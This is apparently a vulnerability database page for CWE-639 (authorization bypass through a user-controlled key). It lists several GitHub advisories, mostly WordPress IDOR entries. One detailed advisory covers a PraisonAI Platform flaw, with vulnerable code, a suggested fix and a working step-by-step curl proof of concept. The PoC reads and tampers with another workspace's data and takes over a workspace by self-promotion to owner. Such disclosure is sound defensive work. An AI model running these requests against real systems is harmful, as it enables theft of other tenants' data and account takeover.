Common Weakness Enumeration

CWE-639

Allowed

Authorization Bypass Through User-Controlled Key

Abstraction: Base · Status: Incomplete

API response cwe.mitre.org

The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data.

3304 vulnerabilities reference this CWE, most recent first.

GHSA-GR6P-XCFC-QJ5R

Vulnerability from github – Published: 2024-04-18 09:30 – Updated: 2026-04-28 21:34
VLAI
Details

Authorization Bypass Through User-Controlled Key vulnerability in Plechev Andrey WP-Recall.This issue affects WP-Recall: from n/a through 16.26.5.

Severity
4.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-32604"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-04-18T09:15:15Z",
    "severity": "MODERATE"
  },
  "details": "Authorization Bypass Through User-Controlled Key vulnerability in Plechev Andrey WP-Recall.This issue affects WP-Recall: from n/a through 16.26.5.",
  "id": "GHSA-gr6p-xcfc-qj5r",
  "modified": "2026-04-28T21:34:50Z",
  "published": "2024-04-18T09:30:45Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-32604"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/vulnerability/wp-recall/wordpress-wp-recall-plugin-16-26-5-insecure-direct-object-references-idor-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-GR9C-3QFV-9CXQ

Vulnerability from github – Published: 2025-08-08 21:30 – Updated: 2025-08-08 21:30
VLAI
Details

The Eventin plugin for WordPress is vulnerable to privilege escalation via account takeover in all versions up to, and including, 4.0.34. This is due to the plugin not properly validating a user's identity or capability prior to updating their details like email in the 'Eventin\Speaker\Api\SpeakerController::update_item' function. This makes it possible for unauthenticated attackers with contributor-level and above permissions to change arbitrary user's email addresses, including administrators, and leverage that to reset the user's password and gain access to their account.

Severity
8.8 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-4796"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-08-08T19:15:36Z",
    "severity": "HIGH"
  },
  "details": "The Eventin plugin for WordPress is vulnerable to privilege escalation via account takeover in all versions up to, and including, 4.0.34. This is due to the plugin not properly validating a user\u0027s identity or capability prior to updating their details like email in the \u0027Eventin\\Speaker\\Api\\SpeakerController::update_item\u0027 function. This makes it possible for unauthenticated attackers with contributor-level and above permissions to change arbitrary user\u0027s email addresses, including administrators, and leverage that to reset the user\u0027s password and gain access to their account.",
  "id": "GHSA-gr9c-3qfv-9cxq",
  "modified": "2025-08-08T21:30:40Z",
  "published": "2025-08-08T21:30:40Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-4796"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/wp-event-solution/tags/4.0.28/core/speaker/Api/SpeakerController.php#L419"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset/3336972/wp-event-solution/trunk/core/speaker/Api/SpeakerController.php#file0"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/9e0d441d-1da5-45e7-8a14-ce178099c0cc?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-GRXH-VMWR-556W

Vulnerability from github – Published: 2026-01-22 18:30 – Updated: 2026-01-27 21:31
VLAI
Details

Authorization Bypass Through User-Controlled Key vulnerability in Mikado-Themes Dolcino dolcino allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Dolcino: from n/a through <= 1.6.

Severity
5.4 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-22411"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-01-22T17:16:34Z",
    "severity": "MODERATE"
  },
  "details": "Authorization Bypass Through User-Controlled Key vulnerability in Mikado-Themes Dolcino dolcino allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Dolcino: from n/a through \u003c= 1.6.",
  "id": "GHSA-grxh-vmwr-556w",
  "modified": "2026-01-27T21:31:43Z",
  "published": "2026-01-22T18:30:40Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22411"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/Wordpress/Theme/dolcino/vulnerability/wordpress-dolcino-theme-1-6-insecure-direct-object-references-idor-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-GV23-XRM3-8C62

Vulnerability from github – Published: 2026-05-29 22:32 – Updated: 2026-05-29 22:32
VLAI
Summary
PraisonAI has Cross-Workspace IDOR and Privilege Escalation via Platform API
Details

Summary

The PraisonAI Platform API has two authorization failures that together break workspace isolation. The service layer for issues and projects performs global primary-key lookups without checking workspace ownership, so any authenticated user can read, modify, and delete resources in any workspace just by swapping UUIDs in their API requests. On top of that, every member management endpoint (add, update role, remove) only requires min_role="member", which lets any workspace member promote themselves to owner and kick out the original owner. A low-privilege member of one workspace can steal data from every other workspace and take over any workspace they belong to.

Both issues come from the same gap: the route layer pulls workspace_id from the URL and verifies membership, but the service layer ignores the workspace scope for resource lookups and ignores the caller's role level for member operations. The require_workspace_member() dependency does its job correctly. The problem is that the service layer doesn't use the information it provides.

Details

Part 1: Cross-Workspace IDOR (Issues and Projects)

Vulnerable Files: - praisonai_platform/services/issue_service.py - praisonai_platform/services/project_service.py - praisonai_platform/api/routes/issues.py - praisonai_platform/api/routes/projects.py

There is a consistent split between the route layer and the service layer. Routes pull workspace_id from the URL and verify membership:

GET /api/v1/workspaces/{workspace_id}/issues/{issue_id}
                        ^^^^^^^^^^^^^^
                        require_workspace_member() checks this

But the service methods these routes call perform global lookups that ignore workspace_id entirely:

IssueService.get(), line 72:

async def get(self, issue_id: str) -> Optional[Issue]:
    """Get issue by ID."""
    return await self._session.get(Issue, issue_id)

ProjectService.get(), line 47:

async def get(self, project_id: str) -> Optional[Project]:
    """Get project by ID."""
    return await self._session.get(Project, project_id)

Both use session.get(Model, pk), which is a global lookup by primary key with no WHERE workspace_id = ? filter.

Compare that with the properly scoped list_for_workspace() methods in the same files:

IssueService.list_for_workspace(), line 76:

async def list_for_workspace(self, workspace_id: str, ...) -> list[Issue]:
    stmt = select(Issue).where(Issue.workspace_id == workspace_id)
    # ... properly scoped

The listing is scoped correctly. The get, update, and delete methods are not. Since update() and delete() in both services call self.get() internally, the workspace bypass cascades through all write operations too.

Route that discards workspace_id, issues.py line 82:

@router.get("/{issue_id}", response_model=IssueResponse)
async def get_issue(
    workspace_id: str,                                        # Extracted from URL
    issue_id: str,
    user: AuthIdentity = Depends(require_workspace_member),   # Membership verified
    session: AsyncSession = Depends(get_db),
):
    svc = IssueService(session)
    issue = await svc.get(issue_id)   # workspace_id never passed to service

All affected operations:

Service Method Line Workspace scoped?
IssueService get() 72 No, uses session.get(Issue, issue_id)
IssueService update() 97 No, calls self.get(issue_id)
IssueService delete() 150 No, calls self.get(issue_id)
IssueService list_for_workspace() 76 Yes, filters by workspace_id
ProjectService get() 47 No, uses session.get(Project, project_id)
ProjectService update() 62 No, calls self.get(project_id)
ProjectService delete() 88 No, calls self.get(project_id)
ProjectService get_stats() 97 No, only filters by project_id
ProjectService list_for_workspace() 51 Yes, filters by workspace_id

Part 2: Workspace Takeover via Missing Role Enforcement

Vulnerable Files: - praisonai_platform/api/routes/workspaces.py (member management routes) - praisonai_platform/api/deps.py (authorization dependency) - praisonai_platform/services/member_service.py (role hierarchy implementation)

The authorization dependency supports role-based access:

require_workspace_member(), deps.py line 54:

async def require_workspace_member(
    workspace_id: str,
    user: AuthIdentity = Depends(get_current_user),
    session: AsyncSession = Depends(get_db),
    min_role: str = "member",         # Accepts higher roles, but nobody passes them
) -> AuthIdentity:
    member_svc = MemberService(session)
    has = await member_svc.has_role(workspace_id, user.id, min_role)
    if not has:
        raise HTTPException(status_code=403, ...)

The has_role() method correctly implements role hierarchy:

MemberService.has_role(), member_service.py line 80:

async def has_role(self, workspace_id, user_id, required_role) -> bool:
    """Role hierarchy: owner > admin > member."""
    member = await self.get(workspace_id, user_id)
    if member is None:
        return False
    role_levels = {"owner": 3, "admin": 2, "member": 1}
    user_level = role_levels.get(member.role, 0)
    required_level = role_levels.get(required_role, 0)
    return user_level >= required_level

This works correctly, but no route ever calls require_workspace_member with min_role="owner" or min_role="admin". Every member management route uses the default "member":

Self-promotion, workspaces.py line 115:

@router.patch("/{workspace_id}/members/{user_id}", response_model=MemberResponse)
async def update_member_role(
    workspace_id: str,
    user_id: str,
    body: MemberUpdate,
    user: AuthIdentity = Depends(require_workspace_member),  # min_role="member"
    session: AsyncSession = Depends(get_db),
):
    member_svc = MemberService(session)
    member = await member_svc.update_role(workspace_id, user_id, body.role)
    # No check: is user modifying their own role? (self-promotion)
    # No check: is body.role > caller's current role? (escalation)
    # No check: is target a higher role than caller? (modifying superiors)

Owner removal, workspaces.py line 130:

@router.delete("/{workspace_id}/members/{user_id}", status_code=204)
async def remove_member(
    workspace_id: str,
    user_id: str,
    user: AuthIdentity = Depends(require_workspace_member),  # min_role="member"
    ...
):
    member_svc = MemberService(session)
    removed = await member_svc.remove(workspace_id, user_id)
    # No check: is target a higher role than caller?
    # No check: is this the last owner?

Three checks are missing from update_member_role: self-modification, upward escalation, and modifying superiors. Two checks are missing from remove_member: role hierarchy and last-owner protection.

PoC

Prerequisites: - A running PraisonAI Platform instance with default configuration - No special configuration required

Server setup:

cd /path/to/PraisonAI
pip install -e "src/praisonai-platform"
python -m uvicorn praisonai_platform.api.app:create_app \
  --factory --host 127.0.0.1 --port 8000

Scenario: Full attack chain (IDOR + Privilege Escalation)

Step 1: Victim (CEO) creates workspace with sensitive data

BASE="http://127.0.0.1:8000/api/v1"

# Register CEO
VICTIM=$(curl -sfL -X POST "$BASE/auth/register" \
  -H "Content-Type: application/json" \
  -d '{"email":"ceo@targetcorp.com","password":"Secure123!","name":"CEO"}')
VICTIM_TOKEN=$(echo "$VICTIM" | python3 -c "import sys,json; print(json.load(sys.stdin)['token'])")
VICTIM_ID=$(echo "$VICTIM" | python3 -c "import sys,json; print(json.load(sys.stdin)['user']['id'])")

# CEO creates workspace with confidential issue
VICTIM_WS=$(curl -sfL -X POST "$BASE/workspaces/" \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $VICTIM_TOKEN" \
  -d '{"name":"Executive Board"}' \
  | python3 -c "import sys,json; print(json.load(sys.stdin)['id'])")

ISSUE_ID=$(curl -sfL -X POST "$BASE/workspaces/$VICTIM_WS/issues/" \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $VICTIM_TOKEN" \
  -d '{"title":"M&A Target List","description":"Acquiring CompanyX for $2B. Board approved. Do not disclose."}' \
  | python3 -c "import sys,json; print(json.load(sys.stdin)['id'])")
echo "Victim workspace: $VICTIM_WS"
echo "Secret issue: $ISSUE_ID"

Step 2: Attacker registers and creates their own workspace

ATTACKER=$(curl -sfL -X POST "$BASE/auth/register" \
  -H "Content-Type: application/json" \
  -d '{"email":"attacker@evil.com","password":"Evil123!","name":"Attacker"}')
ATK_TOKEN=$(echo "$ATTACKER" | python3 -c "import sys,json; print(json.load(sys.stdin)['token'])")
ATK_ID=$(echo "$ATTACKER" | python3 -c "import sys,json; print(json.load(sys.stdin)['user']['id'])")

ATK_WS=$(curl -sfL -X POST "$BASE/workspaces/" \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $ATK_TOKEN" \
  -d '{"name":"Attacker WS"}' \
  | python3 -c "import sys,json; print(json.load(sys.stdin)['id'])")

Step 3: IDOR - Attacker reads victim's confidential issue through their own workspace

curl -sfL "$BASE/workspaces/$ATK_WS/issues/$ISSUE_ID" \
  -H "Authorization: Bearer $ATK_TOKEN"

Observed output (HTTP 200):

{
  "id": "<ISSUE_ID>",
  "workspace_id": "<VICTIM_WS>",
  "title": "M&A Target List",
  "description": "Acquiring CompanyX for $2B. Board approved. Do not disclose.",
  "status": "backlog"
}

The response contains the victim's workspace_id, which is different from the workspace in the request URL. The request was scoped to $ATK_WS but returned data from $VICTIM_WS.

Step 4: IDOR - Attacker modifies victim's issue

curl -sfL -X PATCH "$BASE/workspaces/$ATK_WS/issues/$ISSUE_ID" \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $ATK_TOKEN" \
  -d '{"title":"TAMPERED - M&A Target List"}'

Observed output (HTTP 200): Title updated across workspace boundary.

Step 5: Privilege escalation - CEO adds attacker as member (simulating invite)

curl -sfL -X POST "$BASE/workspaces/$VICTIM_WS/members/" \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $VICTIM_TOKEN" \
  -d "{\"user_id\":\"$ATK_ID\",\"role\":\"member\"}" > /dev/null

Step 6: Privilege escalation - Member promotes self to owner

PROMO=$(curl -sfL -X PATCH "$BASE/workspaces/$VICTIM_WS/members/$ATK_ID" \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $ATK_TOKEN" \
  -d '{"role":"owner"}')
echo "$PROMO" | python3 -c "import sys,json; d=json.load(sys.stdin); print(f'Role: {d[\"role\"]}')"

Observed output:

Role: owner

The member used their own member-level token to promote themselves to owner.

Step 7: Privilege escalation - Attacker removes original owner

curl -sLo /dev/null -w "HTTP %{http_code}" -X DELETE \
  "$BASE/workspaces/$VICTIM_WS/members/$VICTIM_ID" \
  -H "Authorization: Bearer $ATK_TOKEN"

Observed output: HTTP 204 - CEO removed from their own workspace.

Step 8: Verify - Attacker is sole owner

curl -sfL "$BASE/workspaces/$VICTIM_WS/members/" \
  -H "Authorization: Bearer $ATK_TOKEN"

Observed output:

[
  {
    "workspace_id": "<VICTIM_WS>",
    "user_id": "<ATK_ID>",
    "role": "owner"
  }
]

The CEO is locked out. The attacker is now the sole owner of "Executive Board" and all its data.

Impact

  • Complete multi-tenant data breach: Any authenticated user can read every issue and project across all workspaces by substituting resource UUIDs. The URL structure (/workspaces/{workspace_id}/...) implies tenant isolation but provides none.
  • Cross-workspace data tampering: An attacker can modify issue titles, descriptions, statuses, assignments, and project fields across workspace boundaries.
  • Cross-workspace data deletion: An attacker can delete issues and projects belonging to other workspaces.
  • Workspace takeover from member role: Any member can self-promote to owner and remove all other owners, gaining sole control of the workspace and everything in it.
  • No recovery mechanism: After takeover, the original owner cannot access or recover their workspace. There is no super-admin role, no audit-based rollback, and no last-owner protection.
  • Chain amplifies impact: The IDOR does not require membership in the target workspace, only membership in any workspace. The privilege escalation turns that foothold into full ownership. Together, a user with a single member-level invite to any workspace can read all data platform-wide and take ownership of any workspace they are invited to.

Suggested Fix

1. Scope all service get/update/delete methods to workspace_id

# issue_service.py, replace get() at line 72:
async def get(self, issue_id: str, workspace_id: str) -> Optional[Issue]:
    """Get issue by ID, scoped to workspace."""
    issue = await self._session.get(Issue, issue_id)
    if issue is None or issue.workspace_id != workspace_id:
        return None
    return issue

# Apply the same pattern to update(), delete(), and all ProjectService methods

2. Pass workspace_id from routes to services

# issues.py, fix get_issue at line 82:
issue = await svc.get(issue_id, workspace_id)  # Now workspace-scoped

3. Require owner role for member management and add escalation guards

# workspaces.py, fix update_member_role:
user: AuthIdentity = Depends(
    lambda **kw: require_workspace_member(**kw, min_role="owner")
)

# Add self-modification and last-owner guards:
if user_id == user.id:
    raise HTTPException(403, "Cannot change your own role")

# Fix remove_member:
target = await member_svc.get(workspace_id, user_id)
if target and target.role == "owner":
    owners = [m for m in await member_svc.list_members(workspace_id) if m.role == "owner"]
    if len(owners) <= 1:
        raise HTTPException(403, "Cannot remove the last owner")
Severity
8.8 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.1.2"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "praisonai-platform"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.1.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-48169"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639",
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-29T22:32:45Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\nThe PraisonAI Platform API has two authorization failures that together break workspace isolation. The service layer for issues and projects performs global primary-key lookups without checking workspace ownership, so any authenticated user can read, modify, and delete resources in any workspace just by swapping UUIDs in their API requests. On top of that, every member management endpoint (add, update role, remove) only requires `min_role=\"member\"`, which lets any workspace member promote themselves to owner and kick out the original owner. A low-privilege member of one workspace can steal data from every other workspace and take over any workspace they belong to.\n\nBoth issues come from the same gap: the route layer pulls `workspace_id` from the URL and verifies membership, but the service layer ignores the workspace scope for resource lookups and ignores the caller\u0027s role level for member operations. The `require_workspace_member()` dependency does its job correctly. The problem is that the service layer doesn\u0027t use the information it provides.\n\n### Details\n\n#### Part 1: Cross-Workspace IDOR (Issues and Projects)\n\n**Vulnerable Files:**\n- `praisonai_platform/services/issue_service.py`\n- `praisonai_platform/services/project_service.py`\n- `praisonai_platform/api/routes/issues.py`\n- `praisonai_platform/api/routes/projects.py`\n\nThere is a consistent split between the route layer and the service layer. Routes pull `workspace_id` from the URL and verify membership:\n\n```\nGET /api/v1/workspaces/{workspace_id}/issues/{issue_id}\n                        ^^^^^^^^^^^^^^\n                        require_workspace_member() checks this\n```\n\nBut the service methods these routes call perform global lookups that ignore `workspace_id` entirely:\n\n**IssueService.get(), line 72:**\n\n```python\nasync def get(self, issue_id: str) -\u003e Optional[Issue]:\n    \"\"\"Get issue by ID.\"\"\"\n    return await self._session.get(Issue, issue_id)\n```\n\n**ProjectService.get(), line 47:**\n\n```python\nasync def get(self, project_id: str) -\u003e Optional[Project]:\n    \"\"\"Get project by ID.\"\"\"\n    return await self._session.get(Project, project_id)\n```\n\nBoth use `session.get(Model, pk)`, which is a global lookup by primary key with no `WHERE workspace_id = ?` filter.\n\nCompare that with the properly scoped `list_for_workspace()` methods in the same files:\n\n**IssueService.list_for_workspace(), line 76:**\n\n```python\nasync def list_for_workspace(self, workspace_id: str, ...) -\u003e list[Issue]:\n    stmt = select(Issue).where(Issue.workspace_id == workspace_id)\n    # ... properly scoped\n```\n\nThe listing is scoped correctly. The get, update, and delete methods are not. Since `update()` and `delete()` in both services call `self.get()` internally, the workspace bypass cascades through all write operations too.\n\n**Route that discards workspace_id, issues.py line 82:**\n\n```python\n@router.get(\"/{issue_id}\", response_model=IssueResponse)\nasync def get_issue(\n    workspace_id: str,                                        # Extracted from URL\n    issue_id: str,\n    user: AuthIdentity = Depends(require_workspace_member),   # Membership verified\n    session: AsyncSession = Depends(get_db),\n):\n    svc = IssueService(session)\n    issue = await svc.get(issue_id)   # workspace_id never passed to service\n```\n\n**All affected operations:**\n\n| Service | Method | Line | Workspace scoped? |\n|---------|--------|------|-------------------|\n| IssueService | `get()` | 72 | No, uses `session.get(Issue, issue_id)` |\n| IssueService | `update()` | 97 | No, calls `self.get(issue_id)` |\n| IssueService | `delete()` | 150 | No, calls `self.get(issue_id)` |\n| IssueService | `list_for_workspace()` | 76 | **Yes**, filters by `workspace_id` |\n| ProjectService | `get()` | 47 | No, uses `session.get(Project, project_id)` |\n| ProjectService | `update()` | 62 | No, calls `self.get(project_id)` |\n| ProjectService | `delete()` | 88 | No, calls `self.get(project_id)` |\n| ProjectService | `get_stats()` | 97 | No, only filters by `project_id` |\n| ProjectService | `list_for_workspace()` | 51 | **Yes**, filters by `workspace_id` |\n\n#### Part 2: Workspace Takeover via Missing Role Enforcement\n\n**Vulnerable Files:**\n- `praisonai_platform/api/routes/workspaces.py` (member management routes)\n- `praisonai_platform/api/deps.py` (authorization dependency)\n- `praisonai_platform/services/member_service.py` (role hierarchy implementation)\n\nThe authorization dependency supports role-based access:\n\n**require_workspace_member(), deps.py line 54:**\n\n```python\nasync def require_workspace_member(\n    workspace_id: str,\n    user: AuthIdentity = Depends(get_current_user),\n    session: AsyncSession = Depends(get_db),\n    min_role: str = \"member\",         # Accepts higher roles, but nobody passes them\n) -\u003e AuthIdentity:\n    member_svc = MemberService(session)\n    has = await member_svc.has_role(workspace_id, user.id, min_role)\n    if not has:\n        raise HTTPException(status_code=403, ...)\n```\n\nThe `has_role()` method correctly implements role hierarchy:\n\n**MemberService.has_role(), member_service.py line 80:**\n\n```python\nasync def has_role(self, workspace_id, user_id, required_role) -\u003e bool:\n    \"\"\"Role hierarchy: owner \u003e admin \u003e member.\"\"\"\n    member = await self.get(workspace_id, user_id)\n    if member is None:\n        return False\n    role_levels = {\"owner\": 3, \"admin\": 2, \"member\": 1}\n    user_level = role_levels.get(member.role, 0)\n    required_level = role_levels.get(required_role, 0)\n    return user_level \u003e= required_level\n```\n\nThis works correctly, but no route ever calls `require_workspace_member` with `min_role=\"owner\"` or `min_role=\"admin\"`. Every member management route uses the default `\"member\"`:\n\n**Self-promotion, workspaces.py line 115:**\n\n```python\n@router.patch(\"/{workspace_id}/members/{user_id}\", response_model=MemberResponse)\nasync def update_member_role(\n    workspace_id: str,\n    user_id: str,\n    body: MemberUpdate,\n    user: AuthIdentity = Depends(require_workspace_member),  # min_role=\"member\"\n    session: AsyncSession = Depends(get_db),\n):\n    member_svc = MemberService(session)\n    member = await member_svc.update_role(workspace_id, user_id, body.role)\n    # No check: is user modifying their own role? (self-promotion)\n    # No check: is body.role \u003e caller\u0027s current role? (escalation)\n    # No check: is target a higher role than caller? (modifying superiors)\n```\n\n**Owner removal, workspaces.py line 130:**\n\n```python\n@router.delete(\"/{workspace_id}/members/{user_id}\", status_code=204)\nasync def remove_member(\n    workspace_id: str,\n    user_id: str,\n    user: AuthIdentity = Depends(require_workspace_member),  # min_role=\"member\"\n    ...\n):\n    member_svc = MemberService(session)\n    removed = await member_svc.remove(workspace_id, user_id)\n    # No check: is target a higher role than caller?\n    # No check: is this the last owner?\n```\n\nThree checks are missing from `update_member_role`: self-modification, upward escalation, and modifying superiors. Two checks are missing from `remove_member`: role hierarchy and last-owner protection.\n\n### PoC\n\n**Prerequisites:**\n- A running PraisonAI Platform instance with default configuration\n- No special configuration required\n\n**Server setup:**\n\n```bash\ncd /path/to/PraisonAI\npip install -e \"src/praisonai-platform\"\npython -m uvicorn praisonai_platform.api.app:create_app \\\n  --factory --host 127.0.0.1 --port 8000\n```\n\n#### Scenario: Full attack chain (IDOR + Privilege Escalation)\n\n**Step 1: Victim (CEO) creates workspace with sensitive data**\n\n```bash\nBASE=\"http://127.0.0.1:8000/api/v1\"\n\n# Register CEO\nVICTIM=$(curl -sfL -X POST \"$BASE/auth/register\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"email\":\"ceo@targetcorp.com\",\"password\":\"Secure123!\",\"name\":\"CEO\"}\u0027)\nVICTIM_TOKEN=$(echo \"$VICTIM\" | python3 -c \"import sys,json; print(json.load(sys.stdin)[\u0027token\u0027])\")\nVICTIM_ID=$(echo \"$VICTIM\" | python3 -c \"import sys,json; print(json.load(sys.stdin)[\u0027user\u0027][\u0027id\u0027])\")\n\n# CEO creates workspace with confidential issue\nVICTIM_WS=$(curl -sfL -X POST \"$BASE/workspaces/\" \\\n  -H \"Content-Type: application/json\" \\\n  -H \"Authorization: Bearer $VICTIM_TOKEN\" \\\n  -d \u0027{\"name\":\"Executive Board\"}\u0027 \\\n  | python3 -c \"import sys,json; print(json.load(sys.stdin)[\u0027id\u0027])\")\n\nISSUE_ID=$(curl -sfL -X POST \"$BASE/workspaces/$VICTIM_WS/issues/\" \\\n  -H \"Content-Type: application/json\" \\\n  -H \"Authorization: Bearer $VICTIM_TOKEN\" \\\n  -d \u0027{\"title\":\"M\u0026A Target List\",\"description\":\"Acquiring CompanyX for $2B. Board approved. Do not disclose.\"}\u0027 \\\n  | python3 -c \"import sys,json; print(json.load(sys.stdin)[\u0027id\u0027])\")\necho \"Victim workspace: $VICTIM_WS\"\necho \"Secret issue: $ISSUE_ID\"\n```\n\n**Step 2: Attacker registers and creates their own workspace**\n\n```bash\nATTACKER=$(curl -sfL -X POST \"$BASE/auth/register\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"email\":\"attacker@evil.com\",\"password\":\"Evil123!\",\"name\":\"Attacker\"}\u0027)\nATK_TOKEN=$(echo \"$ATTACKER\" | python3 -c \"import sys,json; print(json.load(sys.stdin)[\u0027token\u0027])\")\nATK_ID=$(echo \"$ATTACKER\" | python3 -c \"import sys,json; print(json.load(sys.stdin)[\u0027user\u0027][\u0027id\u0027])\")\n\nATK_WS=$(curl -sfL -X POST \"$BASE/workspaces/\" \\\n  -H \"Content-Type: application/json\" \\\n  -H \"Authorization: Bearer $ATK_TOKEN\" \\\n  -d \u0027{\"name\":\"Attacker WS\"}\u0027 \\\n  | python3 -c \"import sys,json; print(json.load(sys.stdin)[\u0027id\u0027])\")\n```\n\n**Step 3: IDOR - Attacker reads victim\u0027s confidential issue through their own workspace**\n\n```bash\ncurl -sfL \"$BASE/workspaces/$ATK_WS/issues/$ISSUE_ID\" \\\n  -H \"Authorization: Bearer $ATK_TOKEN\"\n```\n\n**Observed output (HTTP 200):**\n\n```json\n{\n  \"id\": \"\u003cISSUE_ID\u003e\",\n  \"workspace_id\": \"\u003cVICTIM_WS\u003e\",\n  \"title\": \"M\u0026A Target List\",\n  \"description\": \"Acquiring CompanyX for $2B. Board approved. Do not disclose.\",\n  \"status\": \"backlog\"\n}\n```\n\nThe response contains the victim\u0027s `workspace_id`, which is different from the workspace in the request URL. The request was scoped to `$ATK_WS` but returned data from `$VICTIM_WS`.\n\n**Step 4: IDOR - Attacker modifies victim\u0027s issue**\n\n```bash\ncurl -sfL -X PATCH \"$BASE/workspaces/$ATK_WS/issues/$ISSUE_ID\" \\\n  -H \"Content-Type: application/json\" \\\n  -H \"Authorization: Bearer $ATK_TOKEN\" \\\n  -d \u0027{\"title\":\"TAMPERED - M\u0026A Target List\"}\u0027\n```\n\n**Observed output (HTTP 200):** Title updated across workspace boundary.\n\n**Step 5: Privilege escalation - CEO adds attacker as member (simulating invite)**\n\n```bash\ncurl -sfL -X POST \"$BASE/workspaces/$VICTIM_WS/members/\" \\\n  -H \"Content-Type: application/json\" \\\n  -H \"Authorization: Bearer $VICTIM_TOKEN\" \\\n  -d \"{\\\"user_id\\\":\\\"$ATK_ID\\\",\\\"role\\\":\\\"member\\\"}\" \u003e /dev/null\n```\n\n**Step 6: Privilege escalation - Member promotes self to owner**\n\n```bash\nPROMO=$(curl -sfL -X PATCH \"$BASE/workspaces/$VICTIM_WS/members/$ATK_ID\" \\\n  -H \"Content-Type: application/json\" \\\n  -H \"Authorization: Bearer $ATK_TOKEN\" \\\n  -d \u0027{\"role\":\"owner\"}\u0027)\necho \"$PROMO\" | python3 -c \"import sys,json; d=json.load(sys.stdin); print(f\u0027Role: {d[\\\"role\\\"]}\u0027)\"\n```\n\n**Observed output:**\n\n```\nRole: owner\n```\n\nThe member used their own member-level token to promote themselves to owner.\n\n**Step 7: Privilege escalation - Attacker removes original owner**\n\n```bash\ncurl -sLo /dev/null -w \"HTTP %{http_code}\" -X DELETE \\\n  \"$BASE/workspaces/$VICTIM_WS/members/$VICTIM_ID\" \\\n  -H \"Authorization: Bearer $ATK_TOKEN\"\n```\n\n**Observed output:** `HTTP 204` - CEO removed from their own workspace.\n\n**Step 8: Verify - Attacker is sole owner**\n\n```bash\ncurl -sfL \"$BASE/workspaces/$VICTIM_WS/members/\" \\\n  -H \"Authorization: Bearer $ATK_TOKEN\"\n```\n\n**Observed output:**\n\n```json\n[\n  {\n    \"workspace_id\": \"\u003cVICTIM_WS\u003e\",\n    \"user_id\": \"\u003cATK_ID\u003e\",\n    \"role\": \"owner\"\n  }\n]\n```\n\nThe CEO is locked out. The attacker is now the sole owner of \"Executive Board\" and all its data.\n\n\n### Impact\n\n- **Complete multi-tenant data breach:** Any authenticated user can read every issue and project across all workspaces by substituting resource UUIDs. The URL structure (`/workspaces/{workspace_id}/...`) implies tenant isolation but provides none.\n- **Cross-workspace data tampering:** An attacker can modify issue titles, descriptions, statuses, assignments, and project fields across workspace boundaries.\n- **Cross-workspace data deletion:** An attacker can delete issues and projects belonging to other workspaces.\n- **Workspace takeover from member role:** Any member can self-promote to owner and remove all other owners, gaining sole control of the workspace and everything in it.\n- **No recovery mechanism:** After takeover, the original owner cannot access or recover their workspace. There is no super-admin role, no audit-based rollback, and no last-owner protection.\n- **Chain amplifies impact:** The IDOR does not require membership in the target workspace, only membership in any workspace. The privilege escalation turns that foothold into full ownership. Together, a user with a single member-level invite to any workspace can read all 